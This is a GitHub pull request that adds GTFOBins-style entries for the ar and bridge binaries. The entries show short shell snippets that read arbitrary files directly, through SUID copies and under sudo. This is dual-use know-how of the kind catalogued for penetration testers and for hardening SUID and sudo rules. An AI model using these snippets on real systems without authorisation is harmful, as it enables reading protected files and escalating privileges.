Merge pull request #160 from xmpf/adiff_ar_bridge

Add ar and bridge file-read
master
Andrea Cardaci 2021-01-17 23:42:42 +01:00 committed by GitHub
commit 5c4ec744cb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 38 additions and 0 deletions

22
_gtfobins/ar.md Normal file
View File

@ -0,0 +1,22 @@
---
description: The file appears amid the binary content of the archive.
functions:
file-read:
- code: |
OUTFILE=$(mktemp -u)
LFILE=file_to_read
ar r "$OUTFILE" "$LFILE"
cat "$OUTFILE"
suid:
- code: |
OUTFILE=$(mktemp -u)
LFILE=file_to_read
./ar r "$OUTFILE" "$LFILE"
cat "$OUTFILE"
sudo:
- code: |
OUTFILE=$(mktemp -u)
LFILE=file_to_read
sudo ar r "$OUTFILE" "$LFILE"
cat "$OUTFILE"
---

16
_gtfobins/bridge.md Normal file
View File

@ -0,0 +1,16 @@
---
description: Outputs the first line of the file (until the first whitespace) inside an error message to stdandard error.
functions:
file-read:
- code: |
LFILE=file_to_read
bridge -b "$LFILE"
suid:
- code: |
LFILE=file_to_read
./bridge -b "$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo bridge -b "$LFILE"
---